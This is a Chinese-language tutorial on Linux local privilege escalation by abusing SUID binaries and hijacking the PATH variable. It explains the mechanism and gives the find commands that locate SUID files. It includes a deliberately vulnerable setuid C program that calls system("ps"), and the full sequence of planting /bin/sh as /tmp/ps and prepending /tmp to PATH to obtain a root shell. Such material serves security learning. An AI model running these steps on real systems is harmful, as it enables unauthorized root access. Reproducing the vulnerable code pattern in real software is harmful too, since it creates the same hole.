suid+劫持环境变量提权
提权原理
SUID
是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。
例如,所有用户都可以执行 passwd 命令来修改自己的用户密码,而用户密码保存在 /etc/shadow 文件中。仔细查看这个文件就会发现它的默认权限是 000,也就是说除了 root 管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用 passwd 命令时如果加上 SUID 特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到 shadow 文件中。
$PATH
主要用于定义可执行程序的搜索目录。可执行程序包括Linux系统命令和用户的应用程序。
当某个程序调用system(“ps”)时,系统就会按照PATH环境变量中定义的顺序搜索ps,如$PATH=/tmp:/usr/local/sbin,则先搜索/tmp目录,若没有则搜索/usr/local/sbin目录。
因此PATH环境变量劫持的原理就是将调用程序的路径添加到PATH环境变量的前面,让它优先搜索加载我们自定义的程序。
环境变量劫持提权的原理就是我们劫持了一个本身就具有SUID权限、root身份运行权限、可sudo的程序。不过普通用户没法修改root用户身份运行程序的环境变量,sudo需要知道当前用户密码,所以一般结合suid进行提权。
提权条件
(一)找到一个具有SUID权限或SUDO(需要当前用户SUDO密码,有密码了一般也不需要这样提权)的程序。
(二)strace观察程序调用了哪些系统命令/用户程序。
(三)使用环境变量劫持这个程序并运行它。
一、找到可利用的具有SUID的程序
使用find命令
find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u=s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
PS:若发现find命令本身是有suid的文件,那可以直接在find命令后面加exec参数直接执行命令,如:find test -exec whoami \
。
在这张图中,我们找到一个test文件,它有着suid权限,且在我们的用户可管理的目录之下。在我们执行它的时候可以看到它其中包含执行了ps命令,此时,我们可以使用PATH环境劫持来进行提权。
二、PATH环境变量劫持提权
提权全过程
1.现在有这样一个程序test,用户test需要用它执行ps命令,并且需要SUID权限:
//test.c
#include<stdlib.h>
#include <unistd.h>int main()
{
setuid(0);//run as root
setgid(0);
system("ps");
}
2.编译并且赋予SUID权限:
3.我们拿到一个test用户shell,通过find查找具备SUID权限的程序,发现了它:
find / -user root -perm -u+s -print 2>/dev/null
4.将test下载到本地或在目标安装运行strace,追踪程序,发现程序执行了ps命令:
5.于是我们就可以劫持ps命令进行提权,直接获取到root用户的bash:
#查看当前环境变量
echo $PATH#将/bin/sh写入到/tmp/ps,并且修改权限:
#上面命令也可改为复制:cp /bin/sh /tmp/su
echo /bin/sh > /tmp/ps
chmod 777 /tmp/ps#修改环境变量,将/tmp目录放到前面:
export PATH=/tmp:$PATH#运行test程序,由于它具备SUID权限,所以劫持后成功提权:
./test
6.这里能看到uid、gid都变成了root是因为我们的程序调用了setuid(0)和setgid(0),没有显示euid是因为uid和euid相同的时候它不会显示: